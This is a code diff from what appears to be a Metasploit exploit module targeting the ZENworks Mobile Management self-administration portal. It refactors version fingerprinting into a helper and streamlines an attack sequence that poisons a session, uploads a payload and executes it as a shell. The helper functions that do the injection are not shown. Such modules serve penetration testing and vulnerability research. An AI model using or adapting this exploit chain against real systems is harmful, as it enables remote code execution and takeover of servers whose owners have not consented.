@@ -52,6 +52,21 @@ def peer
52
52
"#{ rhost } :#{ rport } "
53
53
end
54
54
55
+ def get_version
56
+ version = nil
57
+
58
+ res = send_request_raw ( {
59
+ 'method' => 'GET' ,
60
+ 'uri' => target_uri . path
61
+ } )
62
+
63
+ if ( res and res . code == 200 and res . body . to_s . match ( /ZENworks Mobile Management User Self-Administration Portal/ ) != nil )
64
+ version = res . body . to_s . match ( /<p id="version">Version (.*)<\/ p>/ ) [ 1 ]
65
+ end
66
+
67
+ return version
68
+ end
69
+
55
70
def setup_session ( )
56
71
sess = Rex ::Text . rand_text_alpha ( 8 )
57
72
cmd = Rex ::Text . rand_text_alpha ( 8 )
@@ -104,28 +119,22 @@ def exec_shell(session_id,cmd_var,fname)
104
119
105
120
106
121
def exploit ( )
107
- uri = normalize_uri ( target_uri . path )
108
122
begin
109
- res = send_request_raw ( {
110
- 'method' => 'GET' ,
111
- 'uri' => uri
112
- } )
113
-
114
- if ( res and res . code == 200 and res . body . to_s . match ( /ZENworks Mobile Management User Self-Administration Portal/ ) != nil )
115
- print_status ( "#{ peer } - Found Zenworks MDM, Checking application version" )
116
- ver = res . body . to_s . match ( /<p id="version">Version (.*)<\/ p>/ ) [ 1 ]
117
- print_status ( "#{ peer } - Found Version #{ ver } " )
118
- print_status ( "#{ peer } - Setting up poisoned session" )
119
- session_id , cmd = setup_session ( )
120
- print_status ( "#{ peer } - Uploading payload" )
121
- fname = upload_shell ( session_id , cmd )
122
- print_status ( "#{ peer } - Executing payload" )
123
- exec_shell ( session_id , cmd , fname )
124
- else
125
- print_error ( "#{ peer } - Zenworks MDM does not appear to be running at #{ rhost } " )
126
- return :abort
123
+ print_status ( "#{ peer } - Checking application version..." )
124
+ v = get_version
125
+ if v . nil?
126
+ print_error ( "#{ peer } - Unable to detect version, abort!" )
127
+ return
127
128
end
128
129
130
+ print_good ( "#{ peer } - Found Version #{ v } " )
131
+ print_status ( "#{ peer } - Setting up poisoned session" )
132
+ session_id , cmd = setup_session ( )
133
+ print_status ( "#{ peer } - Uploading payload" )
134
+ fname = upload_shell ( session_id , cmd )
135
+ print_status ( "#{ peer } - Executing payload" )
136
+ exec_shell ( session_id , cmd , fname )
137
+
129
138
rescue ::Rex ::ConnectionRefused , ::Rex ::HostUnreachable , ::Rex ::ConnectionTimeout
130
139
rescue ::Timeout ::Error , ::Errno ::EPIPE
131
140
rescue ::OpenSSL ::SSL ::SSLError => e
0 commit comments